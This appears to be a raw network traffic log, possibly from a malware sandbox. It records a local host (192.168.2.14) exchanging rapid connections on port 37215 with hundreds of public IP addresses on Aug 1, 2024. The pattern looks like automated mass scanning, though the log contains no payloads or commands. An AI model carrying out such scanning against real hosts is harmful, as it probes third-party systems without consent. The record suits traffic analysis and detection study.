Aug 1, 2024 15:35:02.388120890 CEST	37215	47767	23.136.144.252	192.168.2.14
Aug 1, 2024 15:35:02.388134956 CEST	37215	47767	157.90.8.196	192.168.2.14
Aug 1, 2024 15:35:02.388138056 CEST	47767	37215	192.168.2.14	212.152.191.232
Aug 1, 2024 15:35:02.388149023 CEST	37215	47767	41.199.190.230	192.168.2.14
Aug 1, 2024 15:35:02.388155937 CEST	47767	37215	192.168.2.14	23.136.144.252
Aug 1, 2024 15:35:02.388160944 CEST	37215	47767	197.140.142.26	192.168.2.14
Aug 1, 2024 15:35:02.388169050 CEST	47767	37215	192.168.2.14	157.90.8.196
Aug 1, 2024 15:35:02.388171911 CEST	37215	47767	197.199.121.35	192.168.2.14
Aug 1, 2024 15:35:02.388176918 CEST	37215	47767	190.65.237.100	192.168.2.14
Aug 1, 2024 15:35:02.388183117 CEST	47767	37215	192.168.2.14	41.199.190.230
Aug 1, 2024 15:35:02.388187885 CEST	37215	47767	41.170.143.88	192.168.2.14
Aug 1, 2024 15:35:02.388197899 CEST	47767	37215	192.168.2.14	197.140.142.26
Aug 1, 2024 15:35:02.388197899 CEST	37215	47767	197.142.5.89	192.168.2.14
Aug 1, 2024 15:35:02.388204098 CEST	47767	37215	192.168.2.14	197.199.121.35
Aug 1, 2024 15:35:02.388204098 CEST	47767	37215	192.168.2.14	190.65.237.100
Aug 1, 2024 15:35:02.388211012 CEST	37215	47767	41.77.169.2	192.168.2.14
Aug 1, 2024 15:35:02.388219118 CEST	47767	37215	192.168.2.14	41.170.143.88
Aug 1, 2024 15:35:02.388221025 CEST	37215	47767	41.213.248.235	192.168.2.14
Aug 1, 2024 15:35:02.388230085 CEST	37215	47767	206.97.177.254	192.168.2.14
Aug 1, 2024 15:35:02.388235092 CEST	47767	37215	192.168.2.14	197.142.5.89
Aug 1, 2024 15:35:02.388240099 CEST	37215	47767	197.18.71.192	192.168.2.14
Aug 1, 2024 15:35:02.388245106 CEST	47767	37215	192.168.2.14	41.77.169.2
Aug 1, 2024 15:35:02.388248920 CEST	47767	37215	192.168.2.14	41.213.248.235
Aug 1, 2024 15:35:02.388252974 CEST	37215	47767	157.179.34.110	192.168.2.14
Aug 1, 2024 15:35:02.388263941 CEST	47767	37215	192.168.2.14	206.97.177.254
Aug 1, 2024 15:35:02.388276100 CEST	47767	37215	192.168.2.14	157.179.34.110
Aug 1, 2024 15:35:02.388276100 CEST	47767	37215	192.168.2.14	197.18.71.192
Aug 1, 2024 15:35:02.388314009 CEST	46548	37215	192.168.2.14	197.198.105.141
Aug 1, 2024 15:35:02.388700008 CEST	37215	47767	197.96.39.49	192.168.2.14
Aug 1, 2024 15:35:02.388710976 CEST	37215	47767	41.203.124.30	192.168.2.14
Aug 1, 2024 15:35:02.388720036 CEST	37215	47767	17.36.115.168	192.168.2.14
Aug 1, 2024 15:35:02.388731003 CEST	37215	47767	157.154.213.62	192.168.2.14
Aug 1, 2024 15:35:02.388741970 CEST	37215	47767	197.50.151.18	192.168.2.14
Aug 1, 2024 15:35:02.388745070 CEST	47767	37215	192.168.2.14	197.96.39.49
Aug 1, 2024 15:35:02.388745070 CEST	47767	37215	192.168.2.14	41.203.124.30
Aug 1, 2024 15:35:02.388750076 CEST	47767	37215	192.168.2.14	17.36.115.168
Aug 1, 2024 15:35:02.388752937 CEST	37215	47767	157.69.91.145	192.168.2.14
Aug 1, 2024 15:35:02.388766050 CEST	37215	47767	157.145.115.233	192.168.2.14
Aug 1, 2024 15:35:02.388767958 CEST	47767	37215	192.168.2.14	157.154.213.62
Aug 1, 2024 15:35:02.388776064 CEST	37215	47767	197.222.233.64	192.168.2.14
Aug 1, 2024 15:35:02.388782024 CEST	47767	37215	192.168.2.14	197.50.151.18
Aug 1, 2024 15:35:02.388786077 CEST	37215	47767	197.207.227.221	192.168.2.14
Aug 1, 2024 15:35:02.388792992 CEST	47767	37215	192.168.2.14	157.69.91.145
Aug 1, 2024 15:35:02.388796091 CEST	37215	47767	41.205.12.22	192.168.2.14
Aug 1, 2024 15:35:02.388801098 CEST	47767	37215	192.168.2.14	157.145.115.233
Aug 1, 2024 15:35:02.388803005 CEST	47767	37215	192.168.2.14	197.222.233.64
Aug 1, 2024 15:35:02.388807058 CEST	37215	47767	112.70.149.133	192.168.2.14
Aug 1, 2024 15:35:02.388822079 CEST	47767	37215	192.168.2.14	197.207.227.221
Aug 1, 2024 15:35:02.388828993 CEST	47767	37215	192.168.2.14	41.205.12.22
Aug 1, 2024 15:35:02.388830900 CEST	37215	47767	197.87.166.148	192.168.2.14
Aug 1, 2024 15:35:02.388844013 CEST	37215	47767	85.22.82.154	192.168.2.14
Aug 1, 2024 15:35:02.388848066 CEST	47767	37215	192.168.2.14	112.70.149.133
Aug 1, 2024 15:35:02.388854980 CEST	37215	47767	157.102.128.100	192.168.2.14
Aug 1, 2024 15:35:02.388866901 CEST	37215	47767	41.193.25.176	192.168.2.14
Aug 1, 2024 15:35:02.388871908 CEST	47767	37215	192.168.2.14	197.87.166.148
Aug 1, 2024 15:35:02.388876915 CEST	37215	47767	197.34.53.26	192.168.2.14
Aug 1, 2024 15:35:02.388880014 CEST	47767	37215	192.168.2.14	85.22.82.154
Aug 1, 2024 15:35:02.388881922 CEST	47767	37215	192.168.2.14	157.102.128.100
Aug 1, 2024 15:35:02.388890028 CEST	37215	47767	197.68.120.82	192.168.2.14
Aug 1, 2024 15:35:02.388897896 CEST	47767	37215	192.168.2.14	41.193.25.176
Aug 1, 2024 15:35:02.388900995 CEST	37215	47767	41.105.84.179	192.168.2.14
Aug 1, 2024 15:35:02.388906002 CEST	47767	37215	192.168.2.14	197.34.53.26
Aug 1, 2024 15:35:02.388911963 CEST	37215	47767	197.63.111.120	192.168.2.14
Aug 1, 2024 15:35:02.388922930 CEST	37215	47767	158.90.241.130	192.168.2.14
Aug 1, 2024 15:35:02.388926983 CEST	47767	37215	192.168.2.14	197.68.120.82
Aug 1, 2024 15:35:02.388927937 CEST	47767	37215	192.168.2.14	41.105.84.179
Aug 1, 2024 15:35:02.388932943 CEST	37215	47767	41.64.86.172	192.168.2.14
Aug 1, 2024 15:35:02.388936043 CEST	41222	37215	192.168.2.14	157.252.87.165
Aug 1, 2024 15:35:02.388938904 CEST	47767	37215	192.168.2.14	197.63.111.120
Aug 1, 2024 15:35:02.388947010 CEST	37215	47767	41.70.159.36	192.168.2.14
Aug 1, 2024 15:35:02.388957977 CEST	37215	47767	41.48.193.211	192.168.2.14
Aug 1, 2024 15:35:02.388959885 CEST	47767	37215	192.168.2.14	158.90.241.130
Aug 1, 2024 15:35:02.388967037 CEST	37215	47767	197.107.167.217	192.168.2.14
Aug 1, 2024 15:35:02.388968945 CEST	47767	37215	192.168.2.14	41.64.86.172
Aug 1, 2024 15:35:02.388978004 CEST	37215	47767	65.13.47.250	192.168.2.14
Aug 1, 2024 15:35:02.388978958 CEST	47767	37215	192.168.2.14	41.70.159.36
Aug 1, 2024 15:35:02.388991117 CEST	47767	37215	192.168.2.14	41.48.193.211
Aug 1, 2024 15:35:02.388992071 CEST	37215	47767	197.35.8.68	192.168.2.14
Aug 1, 2024 15:35:02.388994932 CEST	47767	37215	192.168.2.14	197.107.167.217
Aug 1, 2024 15:35:02.389003038 CEST	37215	47767	77.192.249.112	192.168.2.14
Aug 1, 2024 15:35:02.389013052 CEST	37215	47767	73.21.252.58	192.168.2.14
Aug 1, 2024 15:35:02.389015913 CEST	47767	37215	192.168.2.14	65.13.47.250
Aug 1, 2024 15:35:02.389025927 CEST	47767	37215	192.168.2.14	197.35.8.68
Aug 1, 2024 15:35:02.389045000 CEST	47767	37215	192.168.2.14	77.192.249.112
Aug 1, 2024 15:35:02.389045000 CEST	47767	37215	192.168.2.14	73.21.252.58
Aug 1, 2024 15:35:02.389606953 CEST	57236	37215	192.168.2.14	41.76.4.130
Aug 1, 2024 15:35:02.389780045 CEST	37215	47767	157.56.47.71	192.168.2.14
Aug 1, 2024 15:35:02.389822960 CEST	47767	37215	192.168.2.14	157.56.47.71
Aug 1, 2024 15:35:02.389904976 CEST	37215	47767	41.245.108.58	192.168.2.14
Aug 1, 2024 15:35:02.389915943 CEST	37215	47767	197.78.47.137	192.168.2.14
Aug 1, 2024 15:35:02.389925957 CEST	37215	47767	197.191.48.137	192.168.2.14
Aug 1, 2024 15:35:02.389938116 CEST	37215	47767	41.250.32.77	192.168.2.14
Aug 1, 2024 15:35:02.389947891 CEST	37215	47767	197.61.52.70	192.168.2.14
Aug 1, 2024 15:35:02.389950991 CEST	47767	37215	192.168.2.14	41.245.108.58
Aug 1, 2024 15:35:02.389955997 CEST	47767	37215	192.168.2.14	197.191.48.137
Aug 1, 2024 15:35:02.389957905 CEST	47767	37215	192.168.2.14	197.78.47.137
Aug 1, 2024 15:35:02.389959097 CEST	37215	47767	41.230.147.54	192.168.2.14
Aug 1, 2024 15:35:02.389975071 CEST	37215	47767	197.143.85.180	192.168.2.14
Aug 1, 2024 15:35:02.389981031 CEST	47767	37215	192.168.2.14	41.250.32.77
Aug 1, 2024 15:35:02.389983892 CEST	37215	47767	197.105.11.229	192.168.2.14
Aug 1, 2024 15:35:02.389993906 CEST	37215	47767	41.60.242.214	192.168.2.14
Aug 1, 2024 15:35:02.390008926 CEST	37215	47767	157.18.42.87	192.168.2.14
Aug 1, 2024 15:35:02.390008926 CEST	47767	37215	192.168.2.14	41.230.147.54
Aug 1, 2024 15:35:02.390010118 CEST	47767	37215	192.168.2.14	197.61.52.70
Aug 1, 2024 15:35:02.390012980 CEST	47767	37215	192.168.2.14	197.143.85.180
Aug 1, 2024 15:35:02.390013933 CEST	47767	37215	192.168.2.14	197.105.11.229
Aug 1, 2024 15:35:02.390019894 CEST	37215	47767	41.127.130.164	192.168.2.14
Aug 1, 2024 15:35:02.390023947 CEST	47767	37215	192.168.2.14	41.60.242.214
Aug 1, 2024 15:35:02.390029907 CEST	37215	47767	157.234.29.142	192.168.2.14
Aug 1, 2024 15:35:02.390045881 CEST	47767	37215	192.168.2.14	157.18.42.87
Aug 1, 2024 15:35:02.390045881 CEST	47767	37215	192.168.2.14	41.127.130.164
Aug 1, 2024 15:35:02.390049934 CEST	37215	47767	197.168.43.146	192.168.2.14
Aug 1, 2024 15:35:02.390062094 CEST	37215	47767	197.46.57.167	192.168.2.14
Aug 1, 2024 15:35:02.390070915 CEST	37215	47767	197.249.71.78	192.168.2.14
Aug 1, 2024 15:35:02.390073061 CEST	47767	37215	192.168.2.14	157.234.29.142
Aug 1, 2024 15:35:02.390089035 CEST	47767	37215	192.168.2.14	197.168.43.146
Aug 1, 2024 15:35:02.390089989 CEST	47767	37215	192.168.2.14	197.46.57.167
Aug 1, 2024 15:35:02.390090942 CEST	37215	47767	91.221.195.110	192.168.2.14
Aug 1, 2024 15:35:02.390098095 CEST	47767	37215	192.168.2.14	197.249.71.78
Aug 1, 2024 15:35:02.390101910 CEST	37215	47767	157.168.38.77	192.168.2.14
Aug 1, 2024 15:35:02.390113115 CEST	37215	47767	197.146.94.194	192.168.2.14
Aug 1, 2024 15:35:02.390122890 CEST	47767	37215	192.168.2.14	91.221.195.110
Aug 1, 2024 15:35:02.390124083 CEST	37215	47767	41.223.145.18	192.168.2.14
Aug 1, 2024 15:35:02.390135050 CEST	37215	47767	41.236.67.197	192.168.2.14
Aug 1, 2024 15:35:02.390144110 CEST	47767	37215	192.168.2.14	157.168.38.77
Aug 1, 2024 15:35:02.390144110 CEST	47767	37215	192.168.2.14	197.146.94.194
Aug 1, 2024 15:35:02.390145063 CEST	37215	47767	110.1.25.78	192.168.2.14
Aug 1, 2024 15:35:02.390165091 CEST	37215	47767	197.14.248.172	192.168.2.14
Aug 1, 2024 15:35:02.390166044 CEST	47767	37215	192.168.2.14	41.223.145.18
Aug 1, 2024 15:35:02.390168905 CEST	47767	37215	192.168.2.14	41.236.67.197
Aug 1, 2024 15:35:02.390171051 CEST	47767	37215	192.168.2.14	110.1.25.78
Aug 1, 2024 15:35:02.390181065 CEST	37215	47767	195.80.61.99	192.168.2.14
Aug 1, 2024 15:35:02.390191078 CEST	37215	47767	41.107.72.169	192.168.2.14
Aug 1, 2024 15:35:02.390202045 CEST	47767	37215	192.168.2.14	197.14.248.172
Aug 1, 2024 15:35:02.390202045 CEST	47767	37215	192.168.2.14	195.80.61.99
Aug 1, 2024 15:35:02.390214920 CEST	37215	47767	157.188.206.253	192.168.2.14
Aug 1, 2024 15:35:02.390223026 CEST	47767	37215	192.168.2.14	41.107.72.169
Aug 1, 2024 15:35:02.390230894 CEST	37215	47767	157.77.9.215	192.168.2.14
Aug 1, 2024 15:35:02.390239954 CEST	53120	37215	192.168.2.14	41.120.137.195
Aug 1, 2024 15:35:02.390243053 CEST	37215	47767	197.103.191.143	192.168.2.14
Aug 1, 2024 15:35:02.390253067 CEST	47767	37215	192.168.2.14	157.188.206.253
Aug 1, 2024 15:35:02.390263081 CEST	47767	37215	192.168.2.14	157.77.9.215
Aug 1, 2024 15:35:02.390271902 CEST	47767	37215	192.168.2.14	197.103.191.143
Aug 1, 2024 15:35:02.390706062 CEST	37215	47767	41.227.238.96	192.168.2.14
Aug 1, 2024 15:35:02.390743017 CEST	47767	37215	192.168.2.14	41.227.238.96
Aug 1, 2024 15:35:02.390769005 CEST	37215	47767	157.250.81.146	192.168.2.14
Aug 1, 2024 15:35:02.390780926 CEST	37215	47767	197.196.212.30	192.168.2.14
Aug 1, 2024 15:35:02.390790939 CEST	37215	47767	41.243.226.167	192.168.2.14
Aug 1, 2024 15:35:02.390800953 CEST	37215	47767	59.188.94.86	192.168.2.14
Aug 1, 2024 15:35:02.390808105 CEST	47767	37215	192.168.2.14	157.250.81.146
Aug 1, 2024 15:35:02.390808105 CEST	47767	37215	192.168.2.14	197.196.212.30
Aug 1, 2024 15:35:02.390810966 CEST	37215	47767	41.255.80.40	192.168.2.14
Aug 1, 2024 15:35:02.390810966 CEST	52940	37215	192.168.2.14	157.115.87.61
Aug 1, 2024 15:35:02.390820026 CEST	37215	47767	41.112.115.55	192.168.2.14
Aug 1, 2024 15:35:02.390824080 CEST	47767	37215	192.168.2.14	41.243.226.167
Aug 1, 2024 15:35:02.390830994 CEST	37215	47767	41.13.165.185	192.168.2.14
Aug 1, 2024 15:35:02.390840054 CEST	37215	47767	192.61.59.227	192.168.2.14
Aug 1, 2024 15:35:02.390841961 CEST	47767	37215	192.168.2.14	59.188.94.86
Aug 1, 2024 15:35:02.390850067 CEST	47767	37215	192.168.2.14	41.112.115.55
Aug 1, 2024 15:35:02.390851021 CEST	37215	47767	133.183.219.165	192.168.2.14
Aug 1, 2024 15:35:02.390852928 CEST	47767	37215	192.168.2.14	41.255.80.40
Aug 1, 2024 15:35:02.390860081 CEST	47767	37215	192.168.2.14	41.13.165.185
Aug 1, 2024 15:35:02.390877008 CEST	47767	37215	192.168.2.14	192.61.59.227
Aug 1, 2024 15:35:02.390883923 CEST	47767	37215	192.168.2.14	133.183.219.165
Aug 1, 2024 15:35:02.390918016 CEST	37215	47767	41.208.67.181	192.168.2.14
Aug 1, 2024 15:35:02.390928030 CEST	37215	47767	157.127.147.66	192.168.2.14
Aug 1, 2024 15:35:02.390937090 CEST	37215	47767	157.165.169.4	192.168.2.14
Aug 1, 2024 15:35:02.390942097 CEST	37215	47767	121.94.122.207	192.168.2.14
Aug 1, 2024 15:35:02.390950918 CEST	37215	47767	41.114.35.247	192.168.2.14
Aug 1, 2024 15:35:02.390959978 CEST	37215	47767	41.110.48.156	192.168.2.14
Aug 1, 2024 15:35:02.390959978 CEST	47767	37215	192.168.2.14	41.208.67.181
Aug 1, 2024 15:35:02.390964031 CEST	47767	37215	192.168.2.14	157.127.147.66
Aug 1, 2024 15:35:02.390965939 CEST	47767	37215	192.168.2.14	157.165.169.4
Aug 1, 2024 15:35:02.390970945 CEST	37215	47767	157.94.195.9	192.168.2.14
Aug 1, 2024 15:35:02.390980005 CEST	47767	37215	192.168.2.14	121.94.122.207
Aug 1, 2024 15:35:02.390985012 CEST	47767	37215	192.168.2.14	41.114.35.247
Aug 1, 2024 15:35:02.390988111 CEST	47767	37215	192.168.2.14	41.110.48.156
Aug 1, 2024 15:35:02.390989065 CEST	37215	47767	157.87.81.47	192.168.2.14
Aug 1, 2024 15:35:02.390999079 CEST	37215	47767	54.76.82.163	192.168.2.14
Aug 1, 2024 15:35:02.391009092 CEST	37215	47767	181.59.36.204	192.168.2.14
Aug 1, 2024 15:35:02.391017914 CEST	37215	47767	17.67.66.155	192.168.2.14
Aug 1, 2024 15:35:02.391021013 CEST	47767	37215	192.168.2.14	157.94.195.9
Aug 1, 2024 15:35:02.391033888 CEST	47767	37215	192.168.2.14	157.87.81.47
Aug 1, 2024 15:35:02.391041040 CEST	47767	37215	192.168.2.14	54.76.82.163
Aug 1, 2024 15:35:02.391041994 CEST	37215	47767	157.99.144.87	192.168.2.14
Aug 1, 2024 15:35:02.391041040 CEST	47767	37215	192.168.2.14	181.59.36.204
Aug 1, 2024 15:35:02.391053915 CEST	37215	47767	197.161.129.15	192.168.2.14
Aug 1, 2024 15:35:02.391053915 CEST	47767	37215	192.168.2.14	17.67.66.155
Aug 1, 2024 15:35:02.391067982 CEST	37215	47767	205.74.172.6	192.168.2.14
Aug 1, 2024 15:35:02.391077995 CEST	37215	47767	126.138.178.246	192.168.2.14
Aug 1, 2024 15:35:02.391087055 CEST	47767	37215	192.168.2.14	157.99.144.87
Aug 1, 2024 15:35:02.391093016 CEST	37215	47767	157.40.109.5	192.168.2.14
Aug 1, 2024 15:35:02.391102076 CEST	47767	37215	192.168.2.14	197.161.129.15
Aug 1, 2024 15:35:02.391103029 CEST	37215	47767	157.102.94.87	192.168.2.14
Aug 1, 2024 15:35:02.391105890 CEST	47767	37215	192.168.2.14	205.74.172.6
Aug 1, 2024 15:35:02.391113997 CEST	37215	47767	84.100.238.151	192.168.2.14
Aug 1, 2024 15:35:02.391122103 CEST	47767	37215	192.168.2.14	126.138.178.246
Aug 1, 2024 15:35:02.391127110 CEST	47767	37215	192.168.2.14	157.102.94.87
Aug 1, 2024 15:35:02.391127110 CEST	47767	37215	192.168.2.14	157.40.109.5
Aug 1, 2024 15:35:02.391149044 CEST	47767	37215	192.168.2.14	84.100.238.151
Aug 1, 2024 15:35:02.391449928 CEST	54864	37215	192.168.2.14	157.170.80.123
Aug 1, 2024 15:35:02.392021894 CEST	57890	37215	192.168.2.14	57.81.121.191
Aug 1, 2024 15:35:02.392226934 CEST	37215	47767	157.17.46.103	192.168.2.14
Aug 1, 2024 15:35:02.392236948 CEST	37215	47767	41.73.159.182	192.168.2.14
Aug 1, 2024 15:35:02.392246962 CEST	37215	47767	41.86.99.12	192.168.2.14
Aug 1, 2024 15:35:02.392263889 CEST	47767	37215	192.168.2.14	157.17.46.103
Aug 1, 2024 15:35:02.392271996 CEST	47767	37215	192.168.2.14	41.73.159.182
Aug 1, 2024 15:35:02.392287970 CEST	47767	37215	192.168.2.14	41.86.99.12
Aug 1, 2024 15:35:02.392347097 CEST	37215	47767	157.236.215.117	192.168.2.14
Aug 1, 2024 15:35:02.392358065 CEST	37215	47767	197.29.77.78	192.168.2.14
Aug 1, 2024 15:35:02.392368078 CEST	37215	47767	41.102.95.15	192.168.2.14
Aug 1, 2024 15:35:02.392378092 CEST	37215	47767	41.96.209.158	192.168.2.14
Aug 1, 2024 15:35:02.392386913 CEST	37215	47767	157.107.118.248	192.168.2.14
Aug 1, 2024 15:35:02.392389059 CEST	47767	37215	192.168.2.14	157.236.215.117
Aug 1, 2024 15:35:02.392391920 CEST	47767	37215	192.168.2.14	197.29.77.78
Aug 1, 2024 15:35:02.392396927 CEST	37215	47767	157.82.211.43	192.168.2.14
Aug 1, 2024 15:35:02.392401934 CEST	47767	37215	192.168.2.14	41.102.95.15
Aug 1, 2024 15:35:02.392406940 CEST	47767	37215	192.168.2.14	41.96.209.158
Aug 1, 2024 15:35:02.392406940 CEST	37215	47767	157.170.93.86	192.168.2.14
Aug 1, 2024 15:35:02.392419100 CEST	47767	37215	192.168.2.14	157.82.211.43
Aug 1, 2024 15:35:02.392421961 CEST	47767	37215	192.168.2.14	157.107.118.248
Aug 1, 2024 15:35:02.392425060 CEST	37215	47767	102.195.35.74	192.168.2.14
Aug 1, 2024 15:35:02.392436028 CEST	37215	47767	41.76.225.133	192.168.2.14
Aug 1, 2024 15:35:02.392438889 CEST	47767	37215	192.168.2.14	157.170.93.86
Aug 1, 2024 15:35:02.392446041 CEST	37215	47767	160.110.35.137	192.168.2.14
Aug 1, 2024 15:35:02.392457008 CEST	37215	47767	41.118.193.152	192.168.2.14
Aug 1, 2024 15:35:02.392462015 CEST	47767	37215	192.168.2.14	102.195.35.74
Aug 1, 2024 15:35:02.392462015 CEST	47767	37215	192.168.2.14	41.76.225.133
Aug 1, 2024 15:35:02.392466068 CEST	37215	47767	197.174.236.178	192.168.2.14
Aug 1, 2024 15:35:02.392476082 CEST	37215	47767	157.240.174.132	192.168.2.14
Aug 1, 2024 15:35:02.392491102 CEST	47767	37215	192.168.2.14	41.118.193.152
Aug 1, 2024 15:35:02.392497063 CEST	47767	37215	192.168.2.14	197.174.236.178
Aug 1, 2024 15:35:02.392499924 CEST	47767	37215	192.168.2.14	160.110.35.137
Aug 1, 2024 15:35:02.392504930 CEST	37215	47767	193.130.152.119	192.168.2.14
Aug 1, 2024 15:35:02.392509937 CEST	47767	37215	192.168.2.14	157.240.174.132
Aug 1, 2024 15:35:02.392514944 CEST	37215	47767	48.154.71.246	192.168.2.14
Aug 1, 2024 15:35:02.392524958 CEST	37215	47767	41.9.184.73	192.168.2.14
Aug 1, 2024 15:35:02.392535925 CEST	37215	47767	157.1.194.211	192.168.2.14
Aug 1, 2024 15:35:02.392543077 CEST	47767	37215	192.168.2.14	193.130.152.119
Aug 1, 2024 15:35:02.392544985 CEST	37215	47767	157.90.7.240	192.168.2.14
Aug 1, 2024 15:35:02.392550945 CEST	47767	37215	192.168.2.14	48.154.71.246
Aug 1, 2024 15:35:02.392555952 CEST	37215	47767	41.23.15.184	192.168.2.14
Aug 1, 2024 15:35:02.392559052 CEST	47767	37215	192.168.2.14	41.9.184.73
Aug 1, 2024 15:35:02.392559052 CEST	47767	37215	192.168.2.14	157.1.194.211
Aug 1, 2024 15:35:02.392568111 CEST	37215	47767	157.240.6.243	192.168.2.14
Aug 1, 2024 15:35:02.392576933 CEST	37215	47767	52.80.19.230	192.168.2.14
Aug 1, 2024 15:35:02.392585039 CEST	47767	37215	192.168.2.14	157.90.7.240
Aug 1, 2024 15:35:02.392587900 CEST	37215	47767	157.23.2.165	192.168.2.14
Aug 1, 2024 15:35:02.392594099 CEST	37215	47767	157.230.32.53	192.168.2.14
Aug 1, 2024 15:35:02.392595053 CEST	47767	37215	192.168.2.14	41.23.15.184
Aug 1, 2024 15:35:02.392604113 CEST	47767	37215	192.168.2.14	157.240.6.243
Aug 1, 2024 15:35:02.392605066 CEST	37215	47767	197.234.130.104	192.168.2.14
Aug 1, 2024 15:35:02.392611027 CEST	47767	37215	192.168.2.14	52.80.19.230
Aug 1, 2024 15:35:02.392611980 CEST	47767	37215	192.168.2.14	157.23.2.165
Aug 1, 2024 15:35:02.392615080 CEST	37215	47767	157.39.26.7	192.168.2.14
Aug 1, 2024 15:35:02.392623901 CEST	47767	37215	192.168.2.14	157.230.32.53
Aug 1, 2024 15:35:02.392644882 CEST	47767	37215	192.168.2.14	197.234.130.104
Aug 1, 2024 15:35:02.392644882 CEST	45462	37215	192.168.2.14	64.21.107.149
Aug 1, 2024 15:35:02.392646074 CEST	47767	37215	192.168.2.14	157.39.26.7
Aug 1, 2024 15:35:02.393191099 CEST	58110	37215	192.168.2.14	41.130.132.35
Aug 1, 2024 15:35:02.393229008 CEST	37215	47767	41.52.71.71	192.168.2.14
Aug 1, 2024 15:35:02.393249035 CEST	37215	47767	197.230.161.95	192.168.2.14
Aug 1, 2024 15:35:02.393259048 CEST	37215	47767	157.228.135.138	192.168.2.14
Aug 1, 2024 15:35:02.393264055 CEST	47767	37215	192.168.2.14	41.52.71.71
Aug 1, 2024 15:35:02.393269062 CEST	37215	47767	197.131.12.203	192.168.2.14
Aug 1, 2024 15:35:02.393279076 CEST	37215	47767	197.179.171.197	192.168.2.14
Aug 1, 2024 15:35:02.393287897 CEST	37215	47767	197.150.71.151	192.168.2.14
Aug 1, 2024 15:35:02.393290043 CEST	47767	37215	192.168.2.14	197.230.161.95
Aug 1, 2024 15:35:02.393290043 CEST	47767	37215	192.168.2.14	157.228.135.138
Aug 1, 2024 15:35:02.393307924 CEST	37215	47767	197.173.193.19	192.168.2.14
Aug 1, 2024 15:35:02.393307924 CEST	47767	37215	192.168.2.14	197.131.12.203
Aug 1, 2024 15:35:02.393309116 CEST	47767	37215	192.168.2.14	197.179.171.197
Aug 1, 2024 15:35:02.393309116 CEST	47767	37215	192.168.2.14	197.150.71.151
Aug 1, 2024 15:35:02.393316984 CEST	37215	47767	197.250.217.168	192.168.2.14
Aug 1, 2024 15:35:02.393327951 CEST	37215	47767	208.9.6.223	192.168.2.14
Aug 1, 2024 15:35:02.393337011 CEST	37215	47767	91.199.202.44	192.168.2.14
Aug 1, 2024 15:35:02.393340111 CEST	47767	37215	192.168.2.14	197.173.193.19
Aug 1, 2024 15:35:02.393340111 CEST	47767	37215	192.168.2.14	197.250.217.168
Aug 1, 2024 15:35:02.393342018 CEST	37215	47767	41.198.135.155	192.168.2.14
Aug 1, 2024 15:35:02.393347025 CEST	37215	47767	41.27.191.212	192.168.2.14
Aug 1, 2024 15:35:02.393357038 CEST	37215	47767	41.98.190.15	192.168.2.14
Aug 1, 2024 15:35:02.393362045 CEST	47767	37215	192.168.2.14	208.9.6.223
Aug 1, 2024 15:35:02.393362045 CEST	47767	37215	192.168.2.14	91.199.202.44
Aug 1, 2024 15:35:02.393362045 CEST	47767	37215	192.168.2.14	41.198.135.155
Aug 1, 2024 15:35:02.393368959 CEST	37215	47767	197.247.74.47	192.168.2.14
Aug 1, 2024 15:35:02.393378973 CEST	37215	47767	197.58.245.106	192.168.2.14
Aug 1, 2024 15:35:02.393382072 CEST	47767	37215	192.168.2.14	41.27.191.212
Aug 1, 2024 15:35:02.393383980 CEST	47767	37215	192.168.2.14	41.98.190.15
Aug 1, 2024 15:35:02.393388033 CEST	37215	47767	70.195.214.160	192.168.2.14
Aug 1, 2024 15:35:02.393393040 CEST	37215	47767	197.60.46.117	192.168.2.14
Aug 1, 2024 15:35:02.393402100 CEST	37215	47767	41.219.250.190	192.168.2.14
Aug 1, 2024 15:35:02.393410921 CEST	47767	37215	192.168.2.14	197.247.74.47
Aug 1, 2024 15:35:02.393413067 CEST	47767	37215	192.168.2.14	70.195.214.160
Aug 1, 2024 15:35:02.393414974 CEST	47767	37215	192.168.2.14	197.58.245.106
Aug 1, 2024 15:35:02.393414974 CEST	47767	37215	192.168.2.14	197.60.46.117
Aug 1, 2024 15:35:02.393428087 CEST	37215	47767	197.60.95.14	192.168.2.14
Aug 1, 2024 15:35:02.393436909 CEST	47767	37215	192.168.2.14	41.219.250.190
Aug 1, 2024 15:35:02.393438101 CEST	37215	47767	41.93.137.62	192.168.2.14
Aug 1, 2024 15:35:02.393448114 CEST	37215	47767	41.103.196.77	192.168.2.14
Aug 1, 2024 15:35:02.393456936 CEST	37215	47767	197.249.110.186	192.168.2.14
Aug 1, 2024 15:35:02.393467903 CEST	37215	47767	197.16.179.65	192.168.2.14
Aug 1, 2024 15:35:02.393470049 CEST	47767	37215	192.168.2.14	197.60.95.14
Aug 1, 2024 15:35:02.393471956 CEST	47767	37215	192.168.2.14	41.93.137.62
Aug 1, 2024 15:35:02.393481970 CEST	37215	47767	197.162.50.166	192.168.2.14
Aug 1, 2024 15:35:02.393491983 CEST	37215	47767	94.18.39.100	192.168.2.14
Aug 1, 2024 15:35:02.393491983 CEST	47767	37215	192.168.2.14	41.103.196.77
Aug 1, 2024 15:35:02.393492937 CEST	47767	37215	192.168.2.14	197.249.110.186
Aug 1, 2024 15:35:02.393496990 CEST	37215	47767	197.113.42.197	192.168.2.14
Aug 1, 2024 15:35:02.393501997 CEST	37215	47767	41.194.35.252	192.168.2.14
Aug 1, 2024 15:35:02.393506050 CEST	37215	47767	68.87.172.13	192.168.2.14
Aug 1, 2024 15:35:02.393506050 CEST	47767	37215	192.168.2.14	197.16.179.65
Aug 1, 2024 15:35:02.393526077 CEST	47767	37215	192.168.2.14	197.162.50.166
Aug 1, 2024 15:35:02.393532038 CEST	47767	37215	192.168.2.14	94.18.39.100
Aug 1, 2024 15:35:02.393532038 CEST	47767	37215	192.168.2.14	68.87.172.13
Aug 1, 2024 15:35:02.393533945 CEST	47767	37215	192.168.2.14	41.194.35.252
Aug 1, 2024 15:35:02.393541098 CEST	47767	37215	192.168.2.14	197.113.42.197
Aug 1, 2024 15:35:02.393601894 CEST	37215	47767	157.105.230.24	192.168.2.14
Aug 1, 2024 15:35:02.393632889 CEST	37215	47767	41.13.145.27	192.168.2.14
Aug 1, 2024 15:35:02.393637896 CEST	47767	37215	192.168.2.14	157.105.230.24
Aug 1, 2024 15:35:02.393644094 CEST	37215	47767	109.210.109.52	192.168.2.14
Aug 1, 2024 15:35:02.393654108 CEST	37215	55252	197.85.236.187	192.168.2.14
Aug 1, 2024 15:35:02.393670082 CEST	47767	37215	192.168.2.14	109.210.109.52
Aug 1, 2024 15:35:02.393671989 CEST	47767	37215	192.168.2.14	41.13.145.27
Aug 1, 2024 15:35:02.393688917 CEST	37215	47720	41.60.234.106	192.168.2.14
Aug 1, 2024 15:35:02.393698931 CEST	37215	53124	45.247.103.17	192.168.2.14
Aug 1, 2024 15:35:02.393702030 CEST	55252	37215	192.168.2.14	197.85.236.187
